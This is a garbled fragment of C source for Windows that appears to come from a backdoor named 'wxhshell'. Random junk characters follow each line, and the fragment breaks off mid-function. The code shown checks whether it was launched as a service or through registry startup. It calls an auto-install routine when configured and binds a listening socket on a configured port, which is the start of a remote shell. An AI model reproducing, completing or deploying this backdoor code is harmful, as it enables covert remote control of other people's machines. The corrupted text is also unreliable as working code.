ULONG InheritedFromUniqueProcessId; -AwR$<q'
} PROCESS_BASIC_INFORMATION; @@$=MSN
Rt!G:hy7
PROCNTQSIP NtQueryInformationProcess; -N`j` zb|
u,<I%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Y iUf
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NQS@i'W=g
Pk444_"=
HANDLE hProcess; D)z'FOaI
PROCESS_BASIC_INFORMATION pbi; q]Gym 7o
o"D`_ER
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rz%
Px: M
if(NULL == hInst ) return 0; }m NP[L
gNr/rp9A$m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pnq[r2#]:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Pz:H/$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l/[0N@r~
%jEdgD%xV
if (!NtQueryInformationProcess) return 0; %m[
:},
J0xOB;rd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _urv
We
if(!hProcess) return 0; et]-;(M
\F=w~
$)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "<b~pfCOQk
F*QZVg+<*X
CloseHandle(hProcess); sOA!Sl
-DDH)VO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +f/G2qY!t
if(hProcess==NULL) return 0; D&_Ir>"\
!FOPFPn
HMODULE hMod; VQE8hQ37
char procName[255]; "'p;Udt/Qm
unsigned long cbNeeded; oj*5m+:>a
t{?U NW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R?3^Kx
S N_!o2F2
CloseHandle(hProcess); v
P8.{$
+T:F :X`
if(strstr(procName,"services")) return 1; // 以服务启动 hKv3;jcd
UlQZw*ce
return 0; // 注册表启动 ]$/TsN
} (!kOM% 3{
KB+,}7
// 主模块 S)Cd1`Gf
int StartWxhshell(LPSTR lpCmdLine) B:qH7`s
{ HrQBzS
SOCKET wsl; \YO1 ;\W
BOOL val=TRUE; zR:Mg\
int port=0; vwQY_J8
struct sockaddr_in door; u
)+;(Vd
FNlzpCT~L
if(wscfg.ws_autoins) Install(); yiyyw,iy
+^$FA4<~
port=atoi(lpCmdLine); O--
"\4
aWhhq@
if(port<=0) port=wscfg.ws_port; s6SG%Vd
e$>.x<
Eq
WSADATA data; GKdQ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \/,54c2
Q" BIk
=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8
PI>Q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kQ4-W9u
door.sin_family = AF_INET; j|3p.Cy
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vum6O3
door.sin_port = htons(port); 88~BE ^
Z4NNrA#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HV'xDy[)
closesocket(wsl); $I&DAG